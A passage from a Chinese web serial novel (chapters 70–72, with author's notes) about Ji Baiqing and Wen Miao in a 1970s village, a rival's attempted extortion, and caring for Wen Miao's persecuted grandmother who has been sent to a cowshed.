今天温淼上午下午都有课,三点之后季白青去学校接她。 见她来了,温淼有些惊讶,“你怎么来了?” 季白青牵着她的手晃了晃,轻笑道:“接你回家。” “不是说今天一起去挖药材吗?” 她不说,温淼差点忘记这一茬,失望了一瞬,还是打起了精神。 “要挖什么?” 季白青沉默了一会儿,咳了一声,“都行吧,主要是消炎的。” 这方面她也不太懂。 温淼点头,回家将东西放好之后跟着季白青上了山。 她们将三月有的不同功效的药材都挖了些,前几天在下雨,山上泥土湿润,浇灌之下,药草也长得青嫩肥厚。 挖的多的就是黄花地丁,新鲜的药草可以直接敷在伤口上,晒干后的黄花地丁可以煎水喝,都有消炎的功效。 扛着锄头牵着温淼下山,季白青有些走神,在想着其他的事情。 原剧情中,并没有明确地提到温向荣的具体时间,她只能估计个大概时间。 在甜宠爽文中,打脸恶毒女配自然是个看点。 原书中提到温向荣也只不过是通过描写原本嚣张跋扈的大小姐突然对沈念念和陆延的态度好了起来,给她们钱想要她们帮忙。 不过原剧情中的沈念念和陆延两人收了钱却没有那么好心,将温淼手里的钱都拿走了,却没真正地帮她干一点活。 以至于后来走投无路之下,温淼还要开口向她们借钱。 想到这,季白青拧着眉,看向温淼,突然开口:“蓁蓁,你的钱收好,不要随便给别人。” 突然提到钱上,话题跳跃太快,温淼没想明白她说这话的原因,但还是点头。 下了山,正准备回家,跟好撞上了刚下工、从地里出来的陆延。 季白青暗道一声晦气,牵着温淼跟避瘟神一样绕着他走。 路过他时还毫不留情地白了一眼。 陆延脸色难看,眼神落在两人交合的手上,其中情绪莫名。 每次遇见季白青这个女人都没有什么好事。 自从知道季白青和温淼在一起后,他对她的厌恶更上了一层。 两个女人在一起,能有什么好后果。 到时候,来个人勾一勾手指,温淼就能够跟别的男人跑了,有季白青后悔的日子。 他盯着温淼的背影看了一会儿,慢慢勾起了笑,眸中闪过一丝势在必得。 过年请假回了京市之后,他才知道原来温淼便是温家的孩子,也难怪看着那样傲气。 不过现在看来,她也傲不了多久。 温家倒台了,她这个大小姐还能够做多久? 跟着季白青一个泥腿子,以后有的是吃不完的苦头。 陆延不信温淼能够受得了那样的生活。 在他眼里,季白青唯一的优点也就是长得还行,但性格蛮横,是个又穷又野蛮的土包子,哪里能够比得上他。 如果温淼来求他的话……陆延还是要考虑一下的。 毕竟他喜欢清纯的。 在原地站了一会儿,上完工的沈念念在渠边洗干净了手,见陆延还站着不动,有些奇怪。 “陆延哥,你怎么还没走?” 她脸上闪过一抹娇羞,唇角也弯了起来,声音带了几分少女的雀跃:“是在等我吗?” 看着沈念念的鹿眼里满是对自己的崇拜,陆延的虚荣感得到了满*足,微微颔首,没落下她的面子,“嗯,等你。” 沈念念闻言,蹦跳着走了两步,又转身看着陆延,往后退着走,笑容甜美,“我就知道~” 陆延微笑看着她,狭长凤眼里带着淡淡笑意。 他对温淼那种娇蛮的女人不感兴趣,喜欢沈念念这样温柔可人的,既可以给他当贤内助,还不用他费心费力讨好,说几句话、送点小东西就可以把她哄好。 不过如果温淼真的知道后悔的话,他还是不介意帮她一把的。 毕竟她家的事,其中的细节也就只有陆家几个男人知道的最清楚。 等着吧,总有她要来求自己的一天。 沈念念和陆延还在暧昧阶段,偶尔会有些出格的行为,却还没有定下关系。 这一点,沈念念也着急,怕自己套不牢这个男人。 但陆延的态度就是,她靠近,他接受,想要更近一步,他却又不答应了。 沈念念也没法,只能依照陆延的意愿来。 为了掩人耳目,她们挑的是一条小路,路上见不到什么其她人。 两人并肩走到一起,沈念念抬头看着他,挑了他最感兴趣的话题说:“陆延哥,昨天去黑市做的糕点很好卖,赚了十几块呢。” 陆延点头,忽然想起了什么,问她:“是不是很久没见到王主任了?” 他这么一说,沈念念回忆一番,点头道:“是啊,去年年末好像就没怎么见到了。” 陆延眉眼有些燥郁,“你做的辣椒酱他媳妇不是最爱吃吗?怎么又不来了。” 他抓了把头发,声音里也带了几分不轻不重的责怪。 沈念念有些无措,双手背在后面,像个做错事的孩子。 “我、我也不知道。” 她也不是王主任肚子里的蛔虫,怎么知道他的心里是怎么想的。 见她这副模样,陆延知道自己的口气重了,勉强压下了冒上来的火气。 “对不起念念,我不是故意凶你,只是心情不好而已。” 凭借着辣椒酱,勉强和王主任套上了关系,原本陆延想的是循序渐进,慢慢拉近他们之间的距离,之后就可以套上关系,将他发展为自己的人脉之一。 可他怎么也没有想到,原本对沈念念所做的辣椒酱赞不绝口的王主任突然间就消失了。 沈念念听了陆延漫不经心的道歉,虽然不满,但也只能挤出一个笑,善解人意道:“没事的陆延哥,我知道你肯定是有苦衷的。” 她后面又说了什么话,陆延已经没心思听了。 他现在在想,温淼母亲曾经便是做生意的,和陆父当过对手,温淼出手又阔绰,那她手上肯定有不少钱。 花钱买温向荣的平安这种划算的事,她应该不会不答应吧。 到时候有了温淼的钱,他多买些礼物去王主任家,效果肯定比靠辣椒酱维系起来的好多了。 这样想着,陆延觉得豁然开朗。 第二天上午,他特意提前将地上的活儿干完,避开沈念念去了小学。 等了一会儿,终于见到了温淼,他伸手拦住要绕开他的女人。 对方眼里的嫌弃陆延自然看出来了,他按捺住内心深处的怒气。 如果她知道自己可以帮温向荣的话,肯定就不是这个态度了。 想象着温淼梨花带雨求着自己帮她的画面,陆延的内心奇异地好受了许多。 他当着众人的面,抓着温淼的手,把她拉到了一边。 温淼将手往外抽,一直挣脱不开,一直到他停下来后才勉强将自己的手抽出来。 细白的手腕上留下来一圈红痕,温淼有几分厌恶地垂眸擦着那一处。 陆延道:“温淼,温向荣的事你应该知道的差不多了吧。” “给你个机会,如果现在你把你身上的钱都给我的话,我还可以帮你在背后运作一下。” “你知道的,我们陆家在京市也有些人脉。” 温淼抬头,不知道陆延是从哪得来的消息,也就沉默了一瞬,而后冷笑看着他。 “你当我是蠢货吗?” “我不信你真的会帮我。” 陆延这种自私的人,怎么可能会愿意动用陆家的人脉来帮温向荣。 此刻陆延所说的话奇异地和昨天下山时季白青所说的内容对上了。 季白青不会害她,但陆延很有可能要害她。 她拒绝的心思更强烈。 冷漠开口:“你想都别想。” 说完,她就想走。 温淼的回答和自己所想象的完全相悖,陆延瞬间恼了。 他再次抓住温淼的手,低吼道:“我说了让你走吗?!” 温淼深吸一口气,一巴掌干脆利落地甩在了他脸上,没有存留半点力气。 “啪”的一声,陆延麦色的脸上出现一个浅色的掌印,他抓住温淼的手放开,捂住半边脸有些难以置信地看着她。 她还是除了季白青以外,第二个敢打自己的人。 “你完了。”陆延咬牙切齿。 温淼往后推开几步,看到他身后的来人,皱着的眉心舒展开。 在陆延想要继续动手动脚的时候,一道阴沉的声音从身后传出。 “陆延,我看是你要完了。” 季白青今天有事耽搁,就来迟了一点,到学校的时候就听见学生说温淼被陆延拉走了。 刚找到她们,还没来得及找陆延算账,就听见他的话。 视线在温淼手腕的红痕上凝滞一瞬,她几大步走到陆延面前,扯住他的衣领。 陆延还没来得及躲,就被季白青左右开弓甩了几个大巴掌。 几巴掌下去,季白青还没解气,一脚踹在他下腹,没有收着一点力气。 “啊!”陆延被踹倒在地,捂着裆部发出一声哀嚎,整个人疼得缩了起来。 季白青趁机又上去补了几脚。 温淼就在一边冷眼看着,只能说是他罪有应得。 季白青收回了脚,走到温淼身边,见她上下打量一遍,视线再度在手腕上停留一会儿,有些心疼。 “没事吧?抱歉,我来晚了。” 如果早点来,也不至于让陆延堵到人。 温淼摇了摇头,“没事。” 找了处水沟洗了手,季白青才轻握住她的手腕仔细端详。 陆延用的力气大,手腕上的痕迹十分明显,看起来有些严重。 季白青突然有些后悔刚才打得轻了。 如果不是因为现在是法治社会,她多少要再去添几拳。 她轻轻吹了吹,柔声说:“回去上点药。” 离开之前,季白青站在还躺着、丝毫没脱离痛苦的陆延身前,没好气又踢他一脚。 警告道:“下次再有这样的事,别怪我对你不客气了,这次没用全力,下次就不一定了。” 陆延的身体一僵,咬着牙说不出话来。 那处的剧痛现在还没散去,他心有余悸,被季白青看着,知道她说一不二的性格,怕她真的又动手,只能闭着眼胡乱点了点头。 季白青这才和温淼一起往家走。 给手上的红痕抹了点药膏,饭后,回到房间,季白青正将衣服叠好往柜子里放。 温淼不知道什么时候站在了她背后,声音又轻又缓,问她:“阿青,你怎么知道陆延会来找我要钱的?” 听了这话,季白青叠衣服的姿势一顿,随后自然地将上衣对折,放进了柜子里。 她扭头有些奇怪地看温淼一眼,语气诧异:“陆延今天还来找你要钱了?” “看来我打他还是打轻了。” 她抿着唇,脸色不悦。 温淼盯着她看了一会儿,歪头再度问道:“你真的不知道吗?” 季白青掐着手心,勉强维持镇定:“我只是觉得你手上的钱留着还有大用处,往后奶奶需要还能用上,所以昨天才那么提醒你。” 季白青自知解释的话有些干巴,但总不能大喇喇地告诉温淼,她这是生活在一本书里,而她看了大半本的书,所以有预知的能力吧。 这对温淼来说未免也太惊悚了。 更何况,温淼不是其中的主角,而是一个没有好下场的反面角色。 直白告诉她真相,未免也太过残忍了。 季白青原本还在想着如果温淼再问,待会儿要怎么解释才能够让自己的话听起来更有可信度。 可温淼却没再问下去。 她轻轻点了点头。 见她不再多说,换好衣服上床准备午睡,季白青的心里又有些别扭。 这是相信她的意思还是生气了? 需不需要哄哄? 刚决定好去哄人,走到床边的时候,却发现人不知道什么时候已经睡着了。 应该是相信她了吧?不然该被气得睡不着才对- 京市。 陆霁端着刚泡好的茶到老爷子的书房前,正敲门进去,突然听见书房里陆老爷子开口。 “温向荣这次下放,找人在做点小动作,千万不能让她还有活着回来的机会。” 陆父的声音响起:“可温首长毕竟有那么大的功勋……现在她腿瘸了,又被下放到那种偏僻地方,肯定翻不出什么风浪了。” 陆老爷子摔了个杯子,“我怎么不知道你成了温家的人?” 陆父嗫嚅一番,最后只能点头。 “我给延延写个信,让他来办吧,温知意插手肯定是要把她安排到溪亭县的。” 陆老爷子考虑一番后,也点头。 “正好锻炼锻炼延延的能力。” 陆延在他看来,还是有能力能够担任继承人的位置的。 不过被陆母陆父两人娇惯太过。 想到这,他踹了陆父一脚。 “看你们把延延惯成什么样了!” 陆父低头,不敢说话。 将两人的对话听了个清楚,陆霁敛眉,敲了敲门,“爷爷,茶泡好了。” 听了陆老爷子发话后,她推开门进去,低头将茶杯分别放在老爷子和陆父面前。 “泡的大红袍,爷爷和父亲尝尝。”她温声道。 陆老爷子喝了口茶水,眼神落在陆霁身上有些可惜。 “行了,下去吧。” 陆霁点头,转身准备离开,就听着陆老爷子感叹似的话。 “可惜了,是个女儿。” 她脸上的笑意消退,扯出一抹讽刺的笑。 回了房间后,将听到的消息写下来,她去了邮局一趟,将信寄出去的同时取了寄给陆老爷子和陆父的信。 将署名为陆延的信抽出来,拿到房间里拆开看了一番,没有什么重要信息,她将信封复原,拿给了陆母陆父。 她没想到的是,温向荣的事居然是陆老爷子从中作梗。 温向荣同陆老爷子虽然不算相熟,但温向荣一直压陆老爷子一头,陆老爷子每次见到温向荣也都是笑眯眯的和善模样,完全看不出来他会对温向荣下手。 陆老爷子是笑面虎,可温向荣是威严又沉默的母狮。 她以往的功勋数不尽,比更擅长纸上谈兵的陆老爷子不知道强了多少。 可最后还是被他想方设法弄了下去。 这次给季白青写信告密,也存在她的一点私心。 在她内心,还是希望温向荣能够活得好好的。 不说能够有机会再重回巅峰,能过上普通的日子也很好了。 温向荣……现在的状态不太好。 她唯一能做的便是背着陆家,将自己所听到的消息全都告诉季白青。 希望她能够有解决的办法。 【作者有话说】 今天实在是太卡了,晚点还会有,但很晚了,不用等。 写的我头秃呜呜[爆哭] 感谢投雷和营养液,感谢订阅评论收藏~ 70-80 第71章 “太阳”深水加更二合一 ◎见面◎ 京市,医院。 院长看着温如嫣的眼神复杂,再次询问:“再熬两三年,你就有资历升职副主任了,你真的确定要调去潇南当赤脚医生?” “如嫣,既然你和……已经断绝了关系,她的事对你没有多大影响,顶多有人背后说上一两句,你也不需要主动放弃自己的前程。” 院长还是挺舍不得温如嫣的,医院里就属她的学历最高、医术最好,性格还温柔,她手下的每个病患都对她赞不绝口。 她母亲的事在医院里传开了,但大多数人也都知道母女俩早就登报断了关系。 一周前突然收到温如嫣申请调职的材料,她完全没有反应过来。 这么好的医术下乡在卫生所当个赤脚医生可惜了。 温如嫣浅浅一笑,“多谢院长的赏识,不过无论是在京市还是在乡下,对我来说都没什么区别,我不过是想要为农村的医疗做些贡献罢了。” 她声音柔婉,却是不动声色回绝了她的挽留。 院长没法,只能同意给她签字。 拿着签好字的资料,温如嫣走出了医院,一口气才缓缓舒出。 院长的话,温如嫣并不赞同。 她同温向荣的感情深,被她拉扯着长大,在她心里,母亲是她的天。 前途和母亲比起来,前者不值一提。 温知意和温皎皎走不开,她愿意放弃前程,和温向荣一起下乡,只要离得近,多少还能照顾她。 无论结果如何,她自己所做出的决定,她不会后悔。 京市此时正在下雨,葡萄灰色的云望着沉甸甸的,似乎随时都要掉下来。 雨接连往下落,砸在地面上,逐渐汇聚成一出水洼。 明明是阴雨天,却有道明亮光线劈开乌云,洒下一丝金光。 雨势浩大,但会复归黎明- 季白青今天要去黑市将剩下的最后一点衣服给卖出去,去之前做了些吃食,又拿了瓶去年留下的辣椒酱。 围巾、手套和袜子都卖完了,剩下些修身的衣物。 在她看来,这些款式都挺好看的,穿在身上勾勒出身形,人都能被衣服衬得精神几分。 也能看出来很多年轻同志都喜欢,但还是不太敢下手。 毕竟不惧怕流言蜚语的人还是少数。 温淼在村里每天穿得漂漂亮亮的,连带着季白青也被打扮得漂亮,背后自然也少不了闲言碎语。 但两个人都不在意,忌惮季白青的武力值和何香月的嘴皮子,她们不敢舞到两人面前。 季白青和温淼就当不知道这回事。 在黑市一上午,剩下的衣服和裤子也就卖出去两件。 她也没丧气,看了眼手表,时间差不多后就收摊走人。 骑着自行车往梅叙家走。 敲门后,还是梅大娘来开的门。 见到了她,季白青露出笑,“大娘好,梅姨今天在家吗?” 梅大娘应了一声,让她进来。 “在呢!马上吃饭了,小季留下来一起吃一顿啊。” 季白青连连摆手,“不用大娘,我今天就找梅姨问点事,我爱人还做了饭在家等着我呢。” 她将拎着的东西给了梅大娘,梅大娘嗔她一眼。 “这孩子,怎么每次来都带东西!” “叙叙在书房里,你去找她吧。” 季白青敲了敲书房门,只希望自己没碰上梅叙处理公务。 虽然这个点是下班时间,但她上辈子也少不了额外加班。 听到了敲门声,梅叙让她进去。 打开门,季白青同梅叙打了个招呼。 “梅姨。” 梅叙的视线落在她身后,季白青开始还没意识到,随后无奈一笑,将门带上。 “梅姨,淼淼今天没有和我一起来。” 梅叙收回视线,掩饰住眼里的失望,点了点头,对她道:“坐吧小季,你今天来是有什么事吗?” 季白青推辞:“我就不坐了,待会儿还要回去。” “梅姨,我今天来是想问温奶奶她现在被下放了吗?” 梅叙摇了摇头,“还没有,但下午名单也到了,她们人最多再有两三天就到了。” 闻言,季白青心里大概有了底。 “那梅姨,我就不打扰你,先回去了。” 梅叙开口拦住季白青,“……淼淼现在怎么样?” 自从知道温淼就是温泠月的孩子后,她忍不住想要多关注几分。 季白青的眼睛弯成月牙,“梅姨,她挺好的,下次过来我带她一起来。” 忽然想起两人之间的谈话,她多嘴说了一句:“淼淼还说觉得您的名字熟悉,可能温阿姨以前也向她提过您呢。” 说完,她也没注意梅叙的脸色如何,再次拒绝了梅大娘的留饭后匆匆往家赶。 留梅叙在原地僵住身子。 原来,温泠月还会对女儿提到自己吗? 她的唇翘起来。 可一想到温泠月早已不在了,唇边的笑意渐渐散去。 “阿月……”梅叙轻叹。 将抽屉拉开,拿出里面的笔记本,翻开到夹着照片的那一页。 她的手温柔在照片上抚过,黑白照片上是两张青涩的脸庞,少女们唇角微扬,挨得很近,姿态亲昵。 是十几岁的梅叙和温泠月。 看了好一会儿,梅大娘的声音从门外响起:“叙叙,吃饭了!” 她小心将照片收起来。 下午去单位,调任的名单和下放的名单已经出来了。 梅叙提前和县长说过,这份名单交给她来处理。 她先将下放的名单找出来,三月,被下放到溪亭县的人一共十个,第一个就是温向荣的名字。 她看着名单,将下放公社划去,换成小石村公社。 其它的审核一边没问题后便放到了一边。 调任的名单中,再次看到温姓人员,她额角一跳。 温如嫣。 嫣嫣。 是温泠月曾经提到的妹妹吗? 再次将两张名单放在一起对比,温向荣原本要被下放到最为偏远的洪湖村,而温如嫣调任的地方离洪湖村可以说是一南一北的距离,坐车都要坐上几个小时。 这是有心人的安排? 看了许久,梅叙最后还是将温如嫣的调任处改为云水村。 云水村的卫生院本就有个赤脚医生的空位。 其实如果不是季白青特意提了,梅叙更倾向把温向荣划到云水村。 季白青和温淼在云水村,更方便照看温向荣。 她虽然不懂季白青的用意,但还是按照她的话做了。 季白青很聪明,梅叙承认- 去梅叙那打探过后,季白青就等着温向荣的消息。 原本要烂在手上的衣服和裤子最终还是在黑市卖出去了,她降价不少,但也还有点利润。 季白青算了算自己手里的钱,大概能有两千左右。 这些钱用来给温向荣养好伤也足够了。 她和温淼一起去新家那边看过,屋子刚盖好的难闻气息通风几个月已经消散了。 该有的家具也都打好了,床、柜、桌一应俱全,季白青还特意去镇上挑了个沙发。 很柔软,坐下去像是陷落在云朵中。 温淼也很喜欢。 季白青将脸抵在沙发上,问温淼:“想什么时候搬过来?” 温淼犹豫一番,轻声道:“还早。” 两人没有结婚,单独搬出来住一间房子,怎么听都觉得奇怪。 季白青有些失望。 她知道温淼话里的意思。 要等着两人结婚。 掰着手指头算,没几天温向荣就到了。 将事情彻底解决最快要一个多月的时间,如果到时候温淼就愿意结婚的话,那也快了。 算清楚后,季白青支棱起来。 很快了! 只要将那些乱七八糟的麻烦事都解决清楚。 将攒的东西都卖完后,季白青暂时没打算再去黑市了。 家里的地她开了一片用来种辣椒,等到五六月辣椒开始成熟的时候继续做辣椒酱。 有了上次温淼被陆延骚扰的事在前,季白青有时间都会去接温淼回家。 她知道继上次动手后,陆延会老实一段时间,但季白青还是不大放心,反正这活儿也不累,每天去得跟上下班打卡一样。 今天提前去学校等着,她站在学校中央的大树下等人。 无意听见了路过的学生说了几句话后,她拧眉专注倾听。 “我们村的牛棚里来了个怪物!”流着鼻涕的男孩吸了吸鼻子说,刻意做了个鬼脸吓唬自己的同伴。 见和他一起的几个小孩都被吓得尖叫起来,他得意地一笑,继续说: “她的脸可吓人了,都把二蛋吓哭了!” 一个小丫头默默开口:“比癞子伯伯还要可怕吗?” 小男孩瞪了她一眼,“小花闭嘴!听我说!” “我比二蛋勇敢,拿石头砸她,然后怪兽就被我打跑啦!”他说着说着,手舞足蹈起来,做打大坏人的姿势。 一边的小孩见状都笑了起来。 季白青在一边越听越不对劲。 这小孩儿说的该不会是温向荣吧。 算着日子,梅叙所说的也就在这几天了。 她脸色一变,拉住了那小男孩,问:“小孩,你说的那个人长什么样?” “是男是女?年纪多大?” 小孩见她板着一张脸,顿时有些害怕。 颤颤巍巍道:“不、不知道!” 季白青放开他,吗,没一会儿他就跑远了。 再抬头见温淼出了办公室,她对她招了招手。 两人回家。 路上,她显得有些心不在焉,温淼侧过脸,若有所思看着她,有些奇怪,但没问什么。 吃完饭后,季白青随意找了个理由,往小石村跑。 跑到一半,她又回去用饭盒带了点吃的。 她倒是要看看,小孩口中的那人到底是不是温向荣。 三月春种,活多,中午休息时间,小石村村里不见几个人。 倒是有几个小家伙撅着屁股在树下挖虫子拿回去喂鸡。 季白青挑了个小姑娘问:“小孩,你们村牛棚在哪?” 小姑娘瞪大了眼睛,好奇地看着她。 “姐姐,牛棚里有坏人!” 她思索着母父说的词,最后蹦出来。 “黑五类!坏人!” 季白青扯了扯唇,敷衍道:“姐姐不怕坏人。” 给她一块糖果作为答谢后,她往牛棚走。 说是牛棚,实际上是牛住过又被淘汰的地方。 枝干搭建而成,四面漏风,还不避雨。 季白青里里外外找了一圈,都没见到人,只能看到桌上摆了个破碗,稻草上放了个小包袱。 她有些纳闷,人呢。 在牛棚四周晃了几圈,不远处传来女人的声音:“诶诶!那个同志,你在这干什么!” 等到人走进,季白青眼睛一亮。 “婶子,还记得我不?” 这人就是先前遇到的换西瓜的女干部。 女干部见是她,松了口气。 “你在这晃悠什么呢,这可不是你个女同志该来的地方。” 季白青道:“婶,我怎么没见到下放的人?” 女干部严肃一张脸,“你问这个干什么?” “中午听个小孩说下放的长得像怪物,我好奇。” “瞎闹!”她瞪季白青一眼。 看来从她嘴里是问不出什么了。 季白青丧气准备回去,路过小石村地上时,却见偏僻的角落,还有个佝偻的身影正在挥着锄头干活。 她眼睛微微眯起,将人的背影看得清楚些后,呼吸瞬间一滞。 光是看背影,她却有些不敢认了。 小心走近,在靠近她的田埂边停下,那人低着头没往旁边多看一眼。 季白青看着她花白的头发和肿胀的脸,眼睛顿时酸了。 “奶奶。”她的声音发颤。 听见了熟悉的声音,挥锄头的人手一顿,还没抬头便被人抢过了锄头抱住。 老太太不知道经历了什么,不过是一两个月没见,原本结实的人瘦得只剩下一把骨架子了。 季白青只轻轻抱了一会儿,怕她身上有伤口,便将她放开。 将她整张脸看清楚后,呼吸又是一滞。 脸上大大小小的伤口数不清,严重的划伤穿过半张脸,伤口往外流着黄色的脓液,额角肿起,鼓起青色的包。 也难怪小孩说像怪兽,脸上的伤没有处理,狰狞又恐怖。 季白青不敢看第二眼,怕当着她的面掉眼泪。 她将揣着的饭盒拿出来,塞给温向荣。 “奶奶,你先吃点,我帮你干活。” 温向荣摸着饭盒,也没客气,坐在一边打开,大口吃了两口,饿了几天的肚子几乎都要没知觉了。 饭也尝不出什么味。 她这才说第一句话:“你怎么来了?” 当着她的面,季白青停下手里的活,眼泪还是没忍住掉了下来。 自觉丢脸地抹了一把眼泪,她回答:“奶奶,梅叙你知道吗?是温阿姨的朋友,我让她把你调到这来的。” “奶奶,你再坚持一会儿,我一定会帮你摆脱现在的身份的。” 温向荣没将年轻人的话当一回事,狼吞虎咽将饭菜吃完后,当着季白青的面一瘸一拐地走到河边喝了捧河水。 季白青后悔自己没有多带一瓶水来。 生水喝了也不知道会不会生病。 她的视线落在温向荣的腿上,她的腿也出现了问题,走路往外拐,也不知道身上还有多少伤口。 这样狼狈的温向荣没有了初见时的不怒自威,她一时难以接受。 见温向荣要拿起锄头继续干活,季白青先一步将锄头拿起来,拧眉问:“她们不给休息吗?” 温向荣叹一口气,“小季,你和蓁蓁好好的就行,不用管我。” 见季白青拿着锄头,执拗地盯着自己,她只能回答。 “这一亩地今天要干完,不然我就不许休息。” “吃饭呢?也不给饭吗?”别人都在休息,让六七十岁的老太太干活。 这么大一块地,两个人一天都不一定能挖完,她看了眼手里的锄头,还是缺口的。 “一天一顿饭,死不了。” 温向荣虽然狼狈,眼神却还是同以往一样清明。 “小季,听我的,不用管我,也别告诉蓁蓁我的事,我自己可以挺过去。” 她说话没了以前中气十足的劲,季白青宁愿她扯着嗓子骂自己,也不希望她用这样没棱角的话来劝她们放弃她。 原剧情中,温淼没有放弃温向荣,在这样的情况下,温向荣最后还是没挺过几个月就去世了。 如果将温向荣放任不惯,她只会挺不过去。 季白青摇头,“我帮你干活。” 她也没管温向荣同不同意,闷头就开始挖地。 等她挖出一行来,再扭头却发现,不知道什么时候温向荣已经昏倒在地里了。 用手一碰,额头烫的得吓人。 她心一慌,将人背起来,一手拎着锄头,背着人往小石村的卫生所走。 “同志,帮忙看一下,我奶奶晕倒了!” 她着急地冲进卫生所,赤脚大夫闻言连忙上前查看,看清楚躺在床上的人的长相后被骇得往后退了一步。 村里人对新下放的黑五类的描述蹦出来。 他脸色奇怪地看着季白青,“这是你奶奶?” 季白青毫不犹豫点头,没时间和他再废话。 “同志,你快给看看吧!” 赤脚大夫摇了摇头,“我看是该给你看看。” “这是昨天下放的黑五类,昨天来的时候还是一个人,怎么今天就多了个孙女。” 他道:“快带走!我们行医的可不给黑五类坏分子看病。这种人,死了活该!” 闻言,季白青冷冷看他一眼,快速将温向荣抱起,想往云水村跑。 结果又被最开始的女干部拦下,见她怀里的人,女干部皱眉:“同志,你要把她带到哪去。” 季白青深吸一口气:“婶,看不到吗?她昏倒了,病得很严重。” 女干部不让她走:“那也不能带走。” 她压低声音:“对她不好。” “你先把她带回去休息,再喂点药看看。” 季白青红着眼默不作声将她抱回了牛棚,地上铺着一块稻草,还是湿的。 女同志帮忙铺上了一层干的后,让季白青跟着她回去取了点药。 回到牛棚,给温向荣喂了药后,季白青被女干部拉到一边。 “同志,你们到底是什么关系,看她可怜也不能这么好心,小心自己的名声坏了。” 季白青揉了揉额头,心悸的症状勉强制住,现在又觉得有些头晕目眩。 强行忍住身体的不适,她眼眶还红着,轻声道:“婶,你还记得上次和我一起来的姑娘吗?” 见她点头。 季白青才道:“那是我爱人,这是我爱人的奶奶,你说我能不管吗?” 女干部惊讶一瞬,一时间说不出话来。 事情就那么巧合? 季白青恳求地看了她一眼:“婶,看在我的份上,我奶奶她还生着病,给她的活儿能不能少一点?以后我替她干活可以吗?” 女干部有些为难地看了她一眼,又看看躺在床上气若游丝的温向荣。 她一咬牙:“按理来说是不能的,不过你硬要替她干活的话也没人能说什么,但是两个村的闲话可不会不少。” 她也有个和温向荣年纪差不多的老娘,看着她此时的模样,也觉得心酸。 但她能做的并不多,只能把话说到这个地步上。 有她这么说,季白青松了一口气。 “今天的活儿能先免了吗?她发烧,得好好照顾她,抽不开身。” 女干部点点头,“我先替你看一会儿,你去把东西拿过来,人是肯定不能带走的,不然上面不满意,以后活更多。” 季白青匆匆回去,唯一庆幸的便是没有碰上温淼。 不然她都不知道要怎么向她开口说温向荣的事。 瞒是肯定不能瞒着的,但她看着温向荣现在的状态都觉得心酸难过,更别说和她感情更为深厚的温淼。 她将能用上的不大显眼的东西都带了过去。 又去采了些新鲜的黄花地丁碾碎,用生理盐水给温向荣脸上的伤口擦拭一番,将黄色的脓水擦干净,这才给她敷上。 将门帘挂上,她将温向荣的衣服解开,看见青一块紫一块的伤痕心里闷得发疼。 腿的伤最严重,膝盖那一处的骨头向上突起,几乎要把皮肉刺破。 她不敢多看,帮温向荣擦干净身体,换上一身干净衣服,又给她喂了一帖消炎药才有心思干其它的。 牛棚实在是太破,怎么修补都还有缺口,当初用来吓陆延的那处屋子都要比这好。 她架着梯子将屋顶铺上稻草,铺上长枝压住。 漏风的地方只能用黄泥补一补,忙活一下午,牛棚里的温度总算没那么冷了。 夜色渐浓,温向荣还没醒,季白青守着她,正打算回去弄点饭过来,给温向荣喂点。 就听见了屋外的动静。 门帘被掀开,屋子里昏暗,不大看得清人影。 季白青却将来人看得清清楚楚。 半大的孩子语气十分嚣张:“丑八怪,快出来见你爷爷!” “给你爷爷我磕个头!” “哈哈哈,我也要!” “怪物,怪物快出来!” 季白青听着拳头硬了。 她冷笑一声,随手抽出一根细枝条,慢慢往门口走。 “唰”一下,枝条落在带头的孩子手臂上。 他瞬间捂着手嚎叫一声,接连往后退了好几步。 季白青走出门,手上的枝条还在轻晃。 她看着几个混小*子似笑非笑,“刚才还有谁说也要来着?” “姑奶奶我现在有时间陪你们玩。” 看着她手里的棍,几个胆小的瞬间哭出了声。 季白青冷眼看着他们,警告道:“下次再敢随便欺负别人,我把你们腿打断。” 这句话一出,欺软怕硬的一群人一哄作鸟兽散。 将手里的东西往地上一扔,季白青还有些上火。 想回去又怕自己不在的时候,温向荣被欺负。 犹豫的功夫,女干部送来了粥。 温向荣现在还没醒,给她喂粥更方便。 女干部姓钱,送了粥后也没走,帮着她一起给温向荣喂了饭。 喂她喝了一碗粥后,钱婶道:“小季,你先回去吧,能吃能喝一晚上不会有什么事,大半夜也没人来闹事了,再不回去家里该担心了。” 季白青想着也是,给温向荣掖了掖被角,把门关好后往家赶。 到家的时候,夜色已经很深了。 一家人都没睡,见季白青回来了才松了一口气。 “你跑哪去了?一家子就顾着担心你了。”何香月的语气不善。 季白青没多解释:“有点事。” 温向荣的事,她暂时还没决定好要不要和何香月她们说,也没想好要怎么和温淼开口。 一时间她又感觉有些头疼了。 胡乱扒了几口饭,季白青想着心里的事,还有些心不在焉。 何香月她们见季白青回来了,也就安心睡下了。 明天还得去上工。 温淼撑着脸盯了季白青一会儿。 “你去哪了?” 季白青听了她的声音,差点被噎到。 猛地咳了几声后,她喝了口水,“……吃完饭和你说吧。” 温淼轻轻点头,其实也有些心乱。 好不容易吃了饭,回了房间,季白青才想好要怎么开口。 “蓁蓁,和你说一个消息,你要冷静。” 温淼犹豫点头。 “我今天见到奶奶了,回来这么晚,也是因为照顾奶奶。” 温淼的心一沉,很快找到了重点。 “奶奶怎么了?!” 【作者有话说】 让我们感谢金主妈咪的字数投喂!真的真的破费啦[亲亲][亲亲][亲亲] 以及,今天晚上还是正常更新~ 感谢投雷、营养液,感谢订阅评论收藏 72 第72章 ◎不信◎ 季白青叹一口气,“情况不是很好。” 不等她说完,温淼站起身,立马就想往外跑。 季白青眼疾手快将她拉住,“蓁蓁,冷静点!” “现在这么晚了,过去不合适,你别担心,今天一下午我都在那边看着,奶奶现在还在休息,明天我们再一起过去看她。” 更何况温向荣大概也不愿意让温淼看见她这么狼狈的样子,她一开始就让季白青别告诉温淼。 还是缓缓吧。 听完了她的话,温淼有些无力地坐下,白着一张脸。 想了想,季白青还是将温向荣的情况和温淼简单说了一番,以免明天真的见到了人后温淼情绪崩溃。 她道:“奶奶的腿骨折了,身上和脸上也有伤口,我简单处理了一下。” 叹出一口气,季白青继续说:“不过奶奶腿上的伤要拖一段时间才能治疗。” 被下放的黑五类不允许在没有打报告的情况下出生产队,不然会有严重的处罚,甚至还可能为此再次召开批|斗会。 她不想让温向荣冒这样的风险,现在她经不起这种折腾。 小石村的赤脚医生不愿意为黑五类治疗,更别提云水村的赤脚医生了。 谁都不想和黑五类扯上关系,生怕受到一点牵连,恨不得躲得远远的才好。 脸上的伤口她们还能通过买药、挖草药来治疗,虚弱的身体也可以慢慢养回来,但无论是季白青还是温淼,都没有接骨正骨的手艺。 